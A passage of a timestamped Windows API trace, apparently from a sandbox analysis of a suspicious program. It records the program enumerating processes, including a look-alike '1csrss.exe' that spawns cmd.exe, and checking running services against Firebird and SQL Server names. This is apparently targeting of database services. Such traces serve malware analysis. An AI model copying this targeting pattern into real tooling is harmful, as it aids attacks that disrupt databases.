(lpString="fontdrvhost.exe") returned 15 [0319.375] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0319.375] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0319.375] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.376] lstrlenW (lpString="svchost.exe") returned 11 [0319.376] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.377] lstrlenW (lpString="svchost.exe") returned 11 [0319.377] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0319.377] lstrlenW (lpString="dwm.exe") returned 7 [0319.377] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.378] lstrlenW (lpString="svchost.exe") returned 11 [0319.378] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.379] lstrlenW (lpString="svchost.exe") returned 11 [0319.379] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.379] lstrlenW (lpString="svchost.exe") returned 11 [0319.379] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.380] lstrlenW (lpString="svchost.exe") returned 11 [0319.380] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.381] lstrlenW (lpString="svchost.exe") returned 11 [0319.381] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.381] lstrlenW (lpString="svchost.exe") returned 11 [0319.381] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.382] lstrlenW (lpString="svchost.exe") returned 11 [0319.382] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.383] lstrlenW (lpString="svchost.exe") returned 11 [0319.383] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.383] lstrlenW (lpString="svchost.exe") returned 11 [0319.383] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.384] lstrlenW (lpString="svchost.exe") returned 11 [0319.384] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0319.385] lstrlenW (lpString="spoolsv.exe") returned 11 [0319.385] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0319.385] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0319.385] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0319.386] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0319.386] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0319.387] lstrlenW (lpString="Memory Compression") returned 18 [0319.387] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.387] lstrlenW (lpString="svchost.exe") returned 11 [0319.387] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0319.388] lstrlenW (lpString="audiodg.exe") returned 11 [0319.388] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0319.389] lstrlenW (lpString="sihost.exe") returned 10 [0319.389] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.389] lstrlenW (lpString="svchost.exe") returned 11 [0319.389] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0319.390] lstrlenW (lpString="taskhostw.exe") returned 13 [0319.390] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0319.391] lstrlenW (lpString="explorer.exe") returned 12 [0319.391] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0319.391] lstrlenW (lpString="SearchUI.exe") returned 12 [0319.391] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0319.392] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0319.392] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0319.393] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0319.393] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0319.393] lstrlenW (lpString="1csrss.exe") returned 10 [0319.393] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.394] lstrlenW (lpString="svchost.exe") returned 11 [0319.394] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0319.395] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0319.395] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0319.395] lstrlenW (lpString="svchost.exe") returned 11 [0319.395] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0319.396] lstrlenW (lpString="dllhost.exe") returned 11 [0319.396] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0319.397] lstrlenW (lpString="dllhost.exe") returned 11 [0319.397] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0319.397] lstrlenW (lpString="dllhost.exe") returned 11 [0319.397] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0319.398] lstrlenW (lpString="1csrss.exe") returned 10 [0319.398] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0319.399] lstrlenW (lpString="cmd.exe") returned 7 [0319.399] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0319.399] lstrlenW (lpString="conhost.exe") returned 11 [0319.399] Process32NextW (in: hSnapshot=0x38c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0319.400] CloseHandle (hObject=0x38c) returned 1 [0319.400] Sleep (dwMilliseconds=0x1f4) [0320.201] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e9630 [0320.332] EnumServicesStatusExW (in: hSCManager=0x4e9630, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0 [0320.333] GetLastError () returned 0xea [0320.333] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1de6) returned 0x51a308 [0320.333] EnumServicesStatusExW (in: hSCManager=0x4e9630, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x51a308, cbBufSize=0x1de6, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x51a308, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1 [0320.334] CloseServiceHandle (hSCObject=0x4e9630) returned 1 [0320.334] lstrlenW (lpString="Appinfo") returned 7 [0320.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0320.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0320.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0320.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0320.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0320.334] lstrlenW (lpString="AppXSvc") returned 7 [0320.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0320.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0320.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0320.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0320.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0320.334] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0320.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0320.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0320.335] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0320.335] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0320.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0320.335] lstrlenW (lpString="Audiosrv") returned 8 [0320.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0320.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0320.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0320.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0320.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0320.335] lstrlenW (lpString="BFE") returned 3 [0320.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0320.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0320.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0320.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0320.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0320.335] lstrlenW (lpString="BITS") returned 4 [0320.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0320.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0320.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0320.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0320.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0320.335] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0320.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0320.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0320.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0320.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0320.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0320.335] lstrlenW (lpString="CDPSvc") returned 6 [0320.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0320.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0320.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0320.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0320.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0320.336] lstrlenW (lpString="ClickToRunSvc") returned 13 [0320.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0320.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0320.336] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0320.336] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0320.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0320.336] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0320.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0320.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0320.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0320.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0320.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0320.336] lstrlenW (lpString="CryptSvc") returned 8 [0320.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0320.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0320.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0320.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0320.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0320.336] lstrlenW (lpString="DcomLaunch") returned 10 [0320.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0320.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0320.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0320.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0320.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0320.337] lstrlenW (lpString="DeviceAssociationService") returned 24 [0320.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0320.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0320.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0320.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0320.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0320.337] lstrlenW (lpString="Dhcp") returned 4 [0320.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0320.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0320.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0320.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0320.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0320.337] lstrlenW (lpString="Dnscache") returned 8 [0320.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0320.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0320.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0320.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0320.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0320.337] lstrlenW (lpString="DoSvc") returned 5 [0320.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0320.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0320.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0320.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0320.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0320.337] lstrlenW (lpString="DPS") returned 3 [0320.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0320.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0320.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0320.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0320.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0320.338] lstrlenW (lpString="DusmSvc") returned 7 [0320.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0320.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0320.338] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0320.338] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0320.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0320.338] lstrlenW (lpString="EventLog") returned 8 [0320.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0320.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0320.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0320.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0320.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0320.338] lstrlenW (lpString="EventSystem") returned 11 [0320.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0320.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0320.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0320.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0320.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0320.338] lstrlenW (lpString="FontCache") returned 9 [0320.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0320.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0320.338] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0320.338] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0320.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0320.338] lstrlenW (lpString="gpsvc") returned 5 [0320.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0320.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0320.339] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0320.339] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0320.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0320.339] lstrlenW (lpString="iphlpsvc") returned 8 [0320.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0320.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0320.339] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0320.339] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0320.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0320.339] lstrlenW (lpString="KeyIso") returned 6 [0320.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0320.339] lstrcmpiW 